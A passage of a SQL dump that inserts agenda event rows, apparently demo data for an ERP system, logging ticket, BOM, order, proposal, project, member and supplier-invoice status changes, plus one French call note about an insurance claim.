\r\nIt is completely free.',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(425,'425',NULL,1,'2019-11-29 12:55:48','2019-11-29 12:55:48',40,'AC_TICKET_CLOSE','Ticket TS1911-0005 closed','2019-11-29 12:55:48','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nTicket TS1911-0005 closed',7,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(426,'426',NULL,1,'2019-11-29 12:56:47','2019-11-29 12:56:47',40,'AC_BOM_UNVALIDATE','BOM unvalidated','2019-11-29 12:56:47','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM unvalidated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(427,'427',NULL,1,'2019-11-29 12:57:14','2019-11-29 12:57:14',40,'AC_BOM_VALIDATE','BOM validated','2019-11-29 12:57:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM validated',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(428,'428',NULL,1,'2019-12-20 16:40:14','2019-12-20 16:40:14',40,'AC_MO_DELETE','MO deleted','2019-12-20 16:40:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',3,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(429,'429',NULL,1,'2019-12-20 17:00:43','2019-12-20 17:00:43',40,'AC_MO_DELETE','MO deleted','2019-12-20 17:00:43','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',7,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(430,'430',NULL,1,'2019-12-20 17:00:56','2019-12-20 17:00:56',40,'AC_MO_DELETE','MO deleted','2019-12-20 17:00:56','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',6,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(431,'431',NULL,1,'2019-12-20 20:00:03','2019-12-20 20:00:03',40,'AC_MO_DELETE','MO deleted','2019-12-20 20:00:03','2021-04-15 10:22:55',12,NULL,6,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',1,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(432,'432',NULL,1,'2019-12-20 20:22:11','2019-12-20 20:22:11',40,'AC_MO_DELETE','MO deleted','2019-12-20 20:22:11','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',10,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(433,'433',NULL,1,'2019-12-20 20:22:11','2019-12-20 20:22:11',40,'AC_MO_DELETE','MO deleted','2019-12-20 20:22:11','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',12,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(434,'434',NULL,1,'2019-12-20 20:22:20','2019-12-20 20:22:20',40,'AC_MO_DELETE','MO deleted','2019-12-20 20:22:20','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',9,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(435,'435',NULL,1,'2019-12-20 20:27:07','2019-12-20 20:27:07',40,'AC_MO_DELETE','MO deleted','2019-12-20 20:27:07','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMO deleted',13,'mo',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(436,'436',NULL,1,'2019-12-20 20:42:42','2019-12-20 20:42:42',40,'AC_ORDER_VALIDATE','Order CO7001-0027 validated','2019-12-20 20:42:42','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0027 validated',88,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(437,'437',NULL,1,'2019-12-20 20:46:25','2019-12-20 20:46:25',40,'AC_ORDER_SUPPLIER_RECEIVE','Purchase Order CF1007-0001 received','2019-12-20 20:46:25','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 received ',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(438,'438',NULL,1,'2019-12-20 20:46:45','2019-12-20 20:46:45',40,'AC_ORDER_SUPPLIER_CLASSIFY_BILLED','Purchase Order CF1007-0001 set billed','2019-12-20 20:46:45','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 set billed',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(439,'439',NULL,1,'2019-12-20 20:47:02','2019-12-20 20:47:02',40,'AC_ORDER_SUPPLIER_RECEIVE','Purchase Order CF1007-0001 received','2019-12-20 20:47:02','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 received ',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(440,'440',NULL,1,'2019-12-20 20:47:44','2019-12-20 20:47:44',40,'AC_ORDER_SUPPLIER_RECEIVE','Purchase Order CF1007-0001 received','2019-12-20 20:47:44','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 received ',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(441,'441',NULL,1,'2019-12-20 20:47:53','2019-12-20 20:47:53',40,'AC_ORDER_SUPPLIER_RECEIVE','Purchase Order CF1007-0001 received','2019-12-20 20:47:53','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 received ',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(442,'442',NULL,1,'2019-12-20 20:48:05','2019-12-20 20:48:05',40,'AC_ORDER_SUPPLIER_RECEIVE','Purchase Order CF1007-0001 received','2019-12-20 20:48:05','2021-04-15 10:22:55',12,NULL,NULL,13,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nPurchase Order CF1007-0001 received ',1,'order_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(443,'443',NULL,1,'2019-12-20 20:48:45','2019-12-20 20:48:45',40,'AC_ORDER_CLASSIFY_BILLED','Order CO7001-0016 classified billed','2019-12-20 20:48:45','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0016 classified billed',54,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(444,'444',NULL,1,'2019-12-20 20:48:55','2019-12-20 20:48:55',40,'AC_ORDER_CLOSE','Order CO7001-0018 classified delivered','2019-12-20 20:48:55','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nOrder CO7001-0018 classified delivered',62,'order',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(445,'445',NULL,1,'2019-12-20 20:49:43','2019-12-20 20:49:43',40,'AC_PROPAL_CLASSIFY_BILLED','Proposal PR1702-0027 classified billed','2019-12-20 20:49:43','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1702-0027 classified billed',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(446,'446',NULL,1,'2019-12-20 20:49:54','2019-12-20 20:49:54',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR1702-0027 signed','2019-12-20 20:49:54','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1702-0027 signed',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(447,'447',NULL,1,'2019-12-20 20:50:14','2019-12-20 20:50:14',40,'AC_PROPAL_CLOSE_REFUSED','Proposal PR1702-0027 refused','2019-12-20 20:50:14','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1702-0027 refused',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(448,'448',NULL,1,'2019-12-20 20:50:23','2019-12-20 20:50:23',40,'AC_PROPAL_CLOSE_SIGNED','Proposal PR1702-0027 signed','2019-12-20 20:50:23','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1702-0027 signed',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(449,'449',NULL,1,'2019-12-21 17:18:22','2019-12-21 17:18:22',40,'AC_BOM_CLOSE','BOM disabled','2019-12-21 17:18:22','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nBOM disabled',6,'bom',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(450,'450',NULL,1,'2019-12-21 17:18:38','2019-12-21 17:18:38',40,'AC_MEMBER_RESILIATE','Member Vick Smith terminated','2019-12-21 17:18:38','2021-04-15 10:22:55',12,NULL,NULL,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Vick Smith terminated\nMember: Vick Smith\nType: Standard members',1,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(451,'451',NULL,1,'2019-12-21 19:46:33','2019-12-21 19:46:33',40,'AC_PROJECT_CREATE','Project PJ1912-0005 created','2019-12-21 19:46:33','2021-04-15 10:22:55',12,NULL,10,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0005 created\nProject: PJ1912-0005',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(452,'452',NULL,1,'2019-12-21 19:47:03','2019-12-21 19:47:03',40,'AC_PROJECT_MODIFY','Project PJ1912-0005 modified','2019-12-21 19:47:03','2021-04-15 10:22:55',12,NULL,10,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0005 modified\nTask: PJ1912-0005',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(453,'453',NULL,1,'2019-12-21 19:47:24','2019-12-21 19:47:24',40,'AC_PROJECT_MODIFY','Project PJ1912-0005 modified','2019-12-21 19:47:24','2021-04-15 10:22:55',12,NULL,10,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0005 modified\nTask: PJ1912-0005',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(454,'454',NULL,1,'2019-12-21 19:47:52','2019-12-21 19:47:52',40,'AC_PROJECT_MODIFY','Project PJ1912-0005 modified','2019-12-21 19:47:52','2021-04-15 10:22:55',12,NULL,10,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0005 modified\nTask: PJ1912-0005',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(455,'455',NULL,1,'2019-12-21 19:48:06','2019-12-21 19:48:06',40,'AC_PROJECT_MODIFY','Project PJ1912-0005 modified','2019-12-21 19:48:06','2021-04-15 10:22:55',12,NULL,10,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0005 modified\nTask: PJ1912-0005',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(456,'456',NULL,1,'2019-12-21 19:49:28','2019-12-21 19:49:28',40,'AC_PROJECT_CREATE','Project PJ1912-0006 created','2019-12-21 19:49:28','2021-04-15 10:22:55',12,NULL,11,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0006 created\nProject: PJ1912-0006',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(457,'457',NULL,1,'2019-12-21 19:52:12','2019-12-21 19:52:12',40,'AC_PROJECT_CREATE','Project PJ1912-0007 created','2019-12-21 19:52:12','2021-04-15 10:22:55',12,NULL,12,4,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0007 created\nProject: PJ1912-0007',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(458,'458',NULL,1,'2019-12-21 19:53:21','2019-12-21 19:53:21',40,'AC_PROJECT_CREATE','Project PJ1912-0008 created','2019-12-21 19:53:21','2021-04-15 10:22:55',12,NULL,13,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0008 created\nProject: PJ1912-0008',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(459,'459',NULL,1,'2019-12-21 19:53:42','2019-12-21 19:53:42',40,'AC_PROJECT_MODIFY','Project PJ1912-0008 modified','2019-12-21 19:53:42','2021-04-15 10:22:55',12,NULL,13,26,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0008 modified\nTask: PJ1912-0008',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(460,'460',NULL,1,'2019-12-21 19:55:23','2019-12-21 19:55:23',40,'AC_PROJECT_MODIFY','Project PJ1912-0006 modified','2019-12-21 19:55:23','2021-04-15 10:22:55',12,NULL,11,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0006 modified\nTask: PJ1912-0006',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(461,'461',NULL,1,'2019-12-21 20:10:21','2019-12-21 20:10:21',40,'AC_PROJECT_MODIFY','Project PJ1912-0006 modified','2019-12-21 20:10:21','2021-04-15 10:22:55',12,NULL,11,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1912-0006 modified\nTask: PJ1912-0006',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(462,'462',NULL,1,'2019-12-11 10:00:00','2019-12-11 10:00:00',5,'AC_RDV','Meeting with all employees','2019-12-21 20:29:32','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,1,NULL,0,0,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(463,'463',NULL,1,'2019-12-06 00:00:00',NULL,11,'AC_INT','Intervention on customer site','2019-12-21 20:30:11','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,1,NULL,0,1,-1,'',NULL,NULL,'',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(464,'464',NULL,1,'2019-12-23 14:16:59','2019-12-23 14:16:59',40,'AC_BILL_PAYED','Invoice FA1601-0024 changed to paid','2019-12-23 14:16:59','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1601-0024 changed to paid',149,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(465,'465',NULL,1,'2019-12-23 14:17:18','2019-12-23 14:17:18',40,'AC_BILL_PAYED','Invoice FA1601-0024 changed to paid','2019-12-23 14:17:18','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1601-0024 changed to paid',149,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(466,'466',NULL,1,'2019-11-23 14:25:00',NULL,50,'AC_OTH','Test','2019-12-23 17:25:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,1,NULL,0,0,-1,'',NULL,NULL,'18/11 17h06 : Message laissé. Me rappeler pour m'en dire plus. 
\r\n
\r\n20/11 10h17 "A rappeler suite au msg laissé le 14/11, dit que c'est urgent"
\r\n12h22 : message laissé. Je lui envoie un sms
\r\n
\r\n"Déclaration de sinistre originale" : constat de ce qui s'est passé.
\r\nElle envoie le chèque de solde dès demain.
\r\n
\r\n3/12 : Elle préfère avoir plus d'infos sur le sinistre pour l'assurance.
\r\nCourrier envoyé le 4/12/19 par mail et par courrier postal
\r\n
\r\n6/12 15h02 : ont obtenu le feu vert de l'assurance.
\r\nOn bloque 16/12 PM à partir de 14h30. ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(467,'467',NULL,1,'2020-01-01 14:35:47','2020-01-01 14:35:47',40,'AC_MEMBER_VALIDATE','Adhérent aze aze validé','2020-01-01 14:35:47','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent aze aze validé\nAdhérent: aze aze\nType: Board members',5,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(468,'468',NULL,1,'2020-01-01 14:50:59','2020-01-01 14:50:59',40,'AC_MEMBER_VALIDATE','Adhérent azr azr validé','2020-01-01 14:50:59','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azr azr validé\nAdhérent: azr azr\nType: Board members',6,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(469,'469',NULL,1,'2020-01-01 15:00:16','2020-01-01 15:00:16',40,'AC_MEMBER_VALIDATE','Adhérent azt azt validé','2020-01-01 15:00:16','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azt azt validé\nAdhérent: azt azt\nType: Board members',7,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(470,'470',NULL,1,'2020-01-01 15:08:20','2020-01-01 15:08:20',40,'AC_MEMBER_VALIDATE','Adhérent azu azu validé','2020-01-01 15:08:20','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azu azu validé\nAdhérent: azu azu\nType: Board members',8,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(471,'471',NULL,1,'2020-01-01 15:27:24','2020-01-01 15:27:24',40,'AC_MEMBER_VALIDATE','Adhérent azi azi validé','2020-01-01 15:27:24','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azi azi validé\nAdhérent: azi azi\nType: Board members',9,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(472,'472',NULL,1,'2020-01-01 15:36:29','2020-01-01 15:36:29',40,'AC_MEMBER_VALIDATE','Adhérent azo azo validé','2020-01-01 15:36:29','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azo azo validé\nAdhérent: azo azo\nType: Board members',10,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(473,'473',NULL,1,'2020-01-01 15:44:25','2020-01-01 15:44:25',40,'AC_MEMBER_VALIDATE','Adhérent azp azp validé','2020-01-01 15:44:25','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azp azp validé\nAdhérent: azp azp\nType: Board members',11,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(478,'478',NULL,1,'2020-01-01 16:52:32','2020-01-01 16:52:32',40,'AC_MEMBER_VALIDATE','Adhérent azq azq validé','2020-01-01 16:52:32','2021-04-15 10:22:55',NULL,NULL,NULL,NULL,NULL,0,NULL,0,NULL,0,0,-1,'',NULL,NULL,'Auteur: \nAdhérent azq azq validé\nAdhérent: azq azq\nType: Board members',12,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(483,'483',NULL,1,'2020-01-01 17:49:05','2020-01-01 17:49:05',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0006 validated','2020-01-01 17:49:05','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 validated',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(484,'484',NULL,1,'2020-01-01 17:50:41','2020-01-01 17:50:41',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SA2001-0001 validated','2020-01-01 17:50:41','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 validated',23,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(485,'485',NULL,1,'2020-01-01 17:50:44','2020-01-01 17:50:44',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 17:50:44','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',23,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(486,'486',NULL,1,'2020-01-01 17:51:22','2020-01-01 17:51:22',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI2001-0006 go back to draft status','2020-01-01 17:51:22','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 go back to draft status',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(487,'487',NULL,1,'2020-01-01 20:17:00','2020-01-01 20:17:00',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI2001-0006 validated','2020-01-01 20:17:00','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI2001-0006 validated',22,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(488,'488',NULL,1,'2020-01-01 20:17:46','2020-01-01 20:17:46',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SA2001-0001 validated','2020-01-01 20:17:46','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 validated',24,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(489,'489',NULL,1,'2020-01-01 20:17:51','2020-01-01 20:17:51',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 20:17:51','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',24,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(490,'490',NULL,1,'2020-01-01 20:20:22','2020-01-01 20:20:22',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SA2001-0001 validated','2020-01-01 20:20:22','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 validated',26,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(491,'491',NULL,1,'2020-01-01 20:20:31','2020-01-01 20:20:31',40,'AC_BILL_SUPPLIER_PAYED','Invoice SA2001-0001 changed to paid','2020-01-01 20:20:31','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SA2001-0001 changed to paid',26,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(492,'492',NULL,1,'2020-01-01 20:21:35','2020-01-01 20:21:35',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI2001-0006 go back to draft status','2020-01-01 20:21:35','2021-04-15 10:22:55',12,NULL,NULL,17,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: 